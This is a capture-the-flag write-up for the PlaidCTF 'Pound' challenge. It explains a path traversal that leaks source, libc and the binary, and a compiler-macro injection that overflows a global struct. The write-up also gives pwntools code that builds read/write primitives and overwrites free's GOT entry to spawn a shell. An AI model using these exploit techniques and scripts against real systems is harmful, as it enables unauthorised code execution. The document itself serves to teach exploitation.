PlaidCTF - Pound 290
by marcof + jinblack
Trump top tweets and money simulation machine! Do you have enough to build a wall???
The only file provided is this server script written in python listening for connections on port 9765. After a quick look we understand the script is accepting a pair of arguments used to compile a C source file and later forking in the fresh compiled binary. To download the source file the script also provides a handy read_tweet()
function easily exploitable to our favour:
def read_tweet():
print "Read the top 20 tweets by Trump!"
print "Enter a number (1 - 20)"
tweet_number = raw_input()
time.sleep(5)
try:
with open("tweets/{0}".format(tweet_number), 'r') as f:
print f.read()
except:
print "Invalid input!"
#
#
#
# later in the code we have:
ret = subprocess.call(["clang", "-m32", "-DL1={}".format(input1),
"-DL2={}".format(input2), "pound.c", "-o",
sim_name])
Pretty easy to see that asking for tweet ../pound.c
would end up in leaking the real challenge source code.
Lets give a look to the core function of the python script:
def run_sim():
print "Trump's money simulator (that makes america great again) simulates two different sized states transfering money around, with the awesome Trump algorithm."
print "The simulator takes in 2 inputs. Due to the awesomeness of the simulator, we can only limit the input to less than a thousand each..."
input1 = raw_input("[Smaller] State 1 Size:")
input2 = raw_input("[Larger] State 2 Size:")
if len(input1) > 3 or len(input2) >3:
print "Number has to be less than 1000"
return
str_to_hash = "[]{0}[]{1}##END".format(input1,input2)
sim_id = hashlib.sha256(str_to_hash).hexdigest()
sim_name = "sims/sim-{0}".format(sim_id)
if os.path.isfile(sim_name):
print "Sim compiled, running sim..."
else:
print "Compiling Sim"
ret = subprocess.call(["clang", "-m32", "-DL1={}".format(input1),
"-DL2={}".format(input2), "pound.c", "-o",
sim_name])
if ret != 0:
print "Compiler error!"
return
os.execve("/usr/bin/sudo", ["/usr/bin/sudo", "-u", "smalluser", sim_name], {})
This accepts two inputs with len <= 3 in order to compile pound.c (using clang) loading them in L1 and L2. Here is key to notice the script doesn’t check whether the input is numerical or not.
Now we analyzed pound.c source code and checked how we could use this consideration to our advantege. Without getting into much detail the program sets up a structure called global_s
//number of citizens state_1 and state_2
const int l1_len = L1;
const int l2_len = L2;
#define STATE_SIZE_LEN 512
struct global_s{
int s1_citizens[l1_len]; //array containing gold amount for state_1 citizens
int s2_citizens[l2_len]; //array containing gold amount for state_2 citizens
char s1_name[STATE_SIZE_LEN]; // Name of state 1
char s2_name[STATE_SIZE_LEN]; // Name of state 2
char *announcement;
int announcement_length;
int secret;
} global;
``` containig information about two foreign states and allows us to transfer citizens' gold by propagating it from the bottom to the top of the array (or viceversa) or randomly swapping it trough states (refer to source code). <br>
L1 and L2 are used to define the citizens' number of each state and we can force the assignment of `l1_len` and `l2_len` in something like: `const int l1_len = 3+2;`, `const int l2_len = 1;1;`, `const int l1_len = 3*2;`, `const int l2_len = 3%2;` etc, just by passing this arguments to the python server. This doesn't seem very usefull but let's keep looking..
The `propagate_backwar(int k)` and `propagate_forward(int k)` functions are revealing:
```c
void propagate_forward(int k) {
// Somewhere total_length will be used :), with some buffer or heap
int length_diff = L2 - L1;
int i,j;
for (i=0; i < L1-1; i++) {
// At random, swap money to keep circulation of money
if (rand() % 2) {
int tmp = global.s1_citizens[i];
global.s1_citizens[i] = global.s2_citizens[i];
global.s2_citizens[i] = tmp;
}
// Propagate forward s1
if (global.s1_citizens[i] >= k) {
global.s1_citizens[i] -= k;
global.s1_citizens[i+1] += k;
// If we reach a bankrupt person,
// give him the money
if (global.s1_citizens[i+1] == k) {
return;
}
}
// Propagate forward s2
if (global.s2_citizens[i] >= k) {
global.s2_citizens[i] -= k;
global.s2_citizens[i+1] += k;
// If we reach a bankrupt person,
// give him the money
if (global.s2_citizens[i+1] == k) {
return;
}
}
}
for (j=0; j < length_diff; j++) {
// Propagate forward s2
if (global.s2_citizens[i+j] >= k) {
global.s2_citizens[i+j] -= k;
global.s2_citizens[i+j+1] += k;
printf("%d:0x%x\n", i+j+1,global.s2_citizens[i+j+1]);
// If we reach a bankrupt person,
// give him the money
if (global.s2_citizens[i+j+1] == k) {
return;
}
}
}
}
As we can see the propagation is done simultaneously until L1 is reached ( main() imposes s2_citizens >= s1_citizens
) and then continues for state_2 till lenght_diff
is reached. Good, having something like 9;1
in L2 and 2
in L1 will force our program to believe lenght_diff = 9;
and later execute 1 - 2;
instruction (which is useless but still valid), making the second for loop overflow s2_citizens
array. With this solid vulnerability the exploit starts developing around the possible use we could make of char *announcement;
. If we could overflow global
structure (saved in .bss) and reach this pointer arbitrary read/write is basically achieved trough the use of functions print_states()
(for reading) andcreate_announcement ()
(for writing):
void print_states () {
if (global.announcement != NULL) {
printf("PSA: %s\n", global.announcement);
}
printf("\nState of the world!\n");
// Macros are beutiful aren't they...
PSTATE(1);
printf("\n-----------------------\n");
PSTATE(2);
}
#define ANNOUNCEMENT_MAX_LEN 1024
void create_announcement () {
int len;
printf("Enter the length of your announcement: ");
len = get_number();
if (len <= 0 || len > 1024) {
printf("ERR: Invalid Length\n");
return;
}
if (global.announcement_length < len) {
// Use new buffer
remove_announcement ();
global.announcement = malloc (len);
//printf("Malloced %p\n", global.announcement);
if (global.announcement == NULL) {
printf("ERR: Failed to allocate announcement\n");
return;
}
global.announcement_length = len;
}
// Re-use available buffer
if (fgets (global.announcement, len, stdin) == NULL) {
printf("Failed to read announcement\n");
exit(-69);
}
global.announcement[strcspn(global.announcement, "\n")] = 0;
}
Since both char s1_name[STATE_SIZE_LEN];
and char s2_name[STATE_SIZE_LEN];
varibales separates us from reaching the announcement pointer, we need to find something pretty bigger than 9
to reach it. Good enough we can use global variable const int N = 1024;
to do the trick. Did our math and found two possible assignments for L1 and L2 : 258
, N;k
. With this in mind we developed the idea of the two basic primitives as follows:
def read_at(address):
amount = address
initialize_citizens(amount) # using void init_states(int k) -- option 1 in void menu()
propagate_forward(amount) # pushing our address value in the first 4 bytes of char s1_name
initialize_citizens(0) # sets the arrays to 0, address is now only in char s1_name
for(i in xrange(256)):
propagate_fw(amount) # our address is moving forward reaching char* announcement
leak = extract_leak(print_states()) # void print_states() actually prints *announcement
return leak
def write_at(what,where):
amount = where
initialize_citizens(amount)
propagate_forward(amount)
initialize_citizens(0)
for(i in xrange(256)):
propagate_fw(amount)
create_announcement(what) # using void create_announcement() to write at *announcement
With this two basic primitives the attack strategy is pretty easy:
- We leak at
free_in_got
to getfree_in_libc_at_runtime
- We calculate the offset from libc to obtain
system_in_libc_at_runtime
- We write
system_in_libc_at_runtim
atfree_in_got
- We create an announcement containing
/bin/sh\x00
- We call
remove_announcement()
, this will triggersystem(/bin/sh\x00)
Ok, we got the basic idea, now we have to apply it. We still face a couple issues:
- We need the libc used by the remote binary to calculate
system_in_libc_at_runtime
- We need the exact binary compiled by the remote host to know
free_in_got
, since our version of clang could compile a different one (we found out this was the case).
Leaking libc is not a big deal, we still have the read_tweet() function on our side. We can use it on something like ../../../../lib/i386-linux-gnu/libc.so.6
( we already had it leaked from a previus pwning challenge but verified this worked aswell). To leak the binary the procedure was slightly more difficult since the file name was choosen according to:
str_to_hash = "[]{0}[]{1}##END".format(input1,input2)
sim_id = hashlib.sha256(str_to_hash).hexdigest()
sim_name = "sims/sim-{0}".format(sim_id)
if os.path.isfile(sim_name):
print "Sim compiled, running sim..."
else:
print "Compiling Sim"
ret = subprocess.call(["clang", "-m32", "-DL1={}".format(input1),
"-DL2={}".format(input2), "pound.c", "-o",
sim_name])
We made a custom script to download it:
from pwn import *
r = remote("pound.pwning.xxx", 9765)
print r.recvuntil("Quit\n")
r.sendline("1")
print r.recvuntil("20)\n")
str_to_hash = "[]258[]N;k##END"
sim_id = hashlib.sha256(str_to_hash).hexdigest()
to_send = "../sims/sim-{0}".format(sim_id)
r.sendline(to_send)
binary_data = r.recvuntil("1. Read Trump article")
f = open("binary", "w")
f.write(binary)
f.close()
That’s it, the exploit will do the job! To get a better understanding on how it works and how something more of the pseudocode written above was needed I’m gonna explain some steps in detail, also refer to comments in the file for a deeper understanding:
First step:
def first_step(address):
fake_address = address + 100
initialize(fake_address)
propagate_fw(fake_address)
initialize(0)
p = log.progress('Propagating_fw')
for i in xrange(256):
p.status("prop " + str(i) + " of 256")
propagate_fw(fake_address)
propagate_fw(100)
p.success("Finish")
conn.sendline("0")
conn.recvuntil("PSA: ")
data = conn.recvuntil("State")
conn.recvuntil("Choice:")
leak = data[4:8]
leak = unpack(leak, 'all', 'little', False)
log.info("Fgets in libc: " + hex(leak))
#LIBCOFFSET
free_in_libc_at_runtime = leak
system_in_libc = free_in_libc_at_runtime + system_offset
log.info("System in libc: " + hex(system_in_libc_at_runtime))
what = (p32(system_in_libc_at_runtime) + p32(leak) )
conn.sendline("4")
conn.recvuntil("announcement:")
conn.sendline(str(len(what)+1))
conn.sendline(what)
conn.recvuntil("Choice:")
Here the function takes in input the free_in_got
address and before propagating it up to char *announcement
adds 100
to later move this into int announcement_length
. Then leaks the free_in_libc_at_runtime
address, calculates system_in_lib_at_runtime
using the offset obtained from the leaked libc ad writes it into free_in_got
Free pointer step:
def free_pointer(address):
p = log.progress('Propagating_bw')
for i in xrange(260):
p.status("prop " + str(i) + " of 260")
propagate_bw(address)
p.success("Finish")
initialize(0)
After a little debugging we found out that just “dragging” amounts into announcement
could cause some problem since values would get summed up in an unwanted way, so we defined a procedure to “drag back” the value into the “legit space” (int s2_citizens[l2_len]
) and purge it away by reinitilizing everything to 0.
Second step:
def second_step(address):
initialize(address)
propagate_fw(address)
initialize(0)
p = log.progress('Propagating')
for i in xrange(256):
p.status("prop " + str(i) + " of 256")
propagate_fw(address)
p.success("Finish")
what = "/bin/sh\x00"
conn.sendline("4")
conn.recvuntil("announcement:")
conn.sendline(str(len(what)+1))
conn.sendline(what)
conn.recvuntil("Choice:")
Similar to the first one, puts a valid bss address into announcement
pointer and writes /bin/sh
into it.
Final step:
def final_step():
conn.sendline("4")
conn.recvuntil("announcement:")
conn.sendline("1000")
Calling option 4 (void create_announcement()
) and passing a bigger size than 100
makes the program free the old announcement and trigger the call to system("/bin/sh")
.
Testing:
- Compile binary:
clang -m32 -DL1="285" -DL2="N;k" ./pound.c -o pound
- Open binary with disassembler. Extract
free_in_got
address and find avalid_bss_addr
far from where theglobal
structure will be allocated. - Modify this information in the
pwnpound.py
script. - Modify
LIBCPATH
according to your system. - Comment out
python_step()
used to connect to the python server. socat tcp-l:4000,reuseaddr,fork exec:"./pound"
python pwnpound.py
~ marcof